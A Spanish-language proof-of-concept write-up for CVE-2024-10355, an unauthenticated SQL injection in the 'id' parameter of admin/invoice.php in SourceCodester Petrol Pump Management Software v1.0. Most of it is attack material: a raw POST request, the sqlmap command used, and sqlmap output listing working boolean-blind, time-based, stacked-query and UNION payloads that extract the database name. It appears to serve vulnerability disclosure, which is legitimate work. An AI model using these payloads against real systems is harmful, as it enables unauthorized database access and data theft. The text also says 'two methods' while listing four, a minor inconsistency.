
Reproducción y análisis de CVE-2024-10355, una vulnerabilidad de inyección SQL no autenticada en SourceCodester Petrol Pump Management Software, con payloads de prueba de concepto y pasos de explotación.
Descarga gratuita del software de gestión de bombas de gasolina | SourceCodester
Vulnerabilidad de inyección SQL en sourcecodester Petrol pump management software v1.0. Se ha encontrado una vulnerabilidad clasificada como de alto riesgo, que afecta a una funcionalidad desconocida del archivo admin\invoice.php. Utilizando el parámetro id para construir sentencias SQL maliciosas con el fin de obtener información sensible, causando así daños.
admin\invoice.php

Aquí, la entrada del usuario $_POST['id'] se concatena en la sentencia de la consulta SQL, lo que obviamente es susceptible a ataques de inyección SQL.

POST /admin/invoice.php HTTP/1.1
Host: 10.151.167.168:6677
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
id=1*
Guarde el paquete y utilice el ataque sqlmap
python3 sqlmap.py --random-agent -r data.txt --risk 3 --batch

---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: id=-6094' OR 1911=1911 AND 'hAoG'='hAoG
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: id=1';SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 1041 FROM (SELECT(SLEEP(5)))UTeR) AND 'HnhT'='HnhT
Type: UNION query
Title: Generic UNION query (NULL) - 16 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176626b71,0x6b57657774656652476e4d594f6959545363546f73424a4c547364484a4d47696247447769514653,0x71766b6a71),NULL,NULL,NULL,NULL,NULL,NULL-- -
---
Observando el paquete, no agregué un valor de cookie, lo que indica que no se requiere autenticación para lanzar ataques de forma remota.
Se puede ver que este payload utiliza dos métodos de inyección: time-based blind, boolean-based blind, stacked queries y UNION query, e inyecta con éxito el nombre de la base de datos.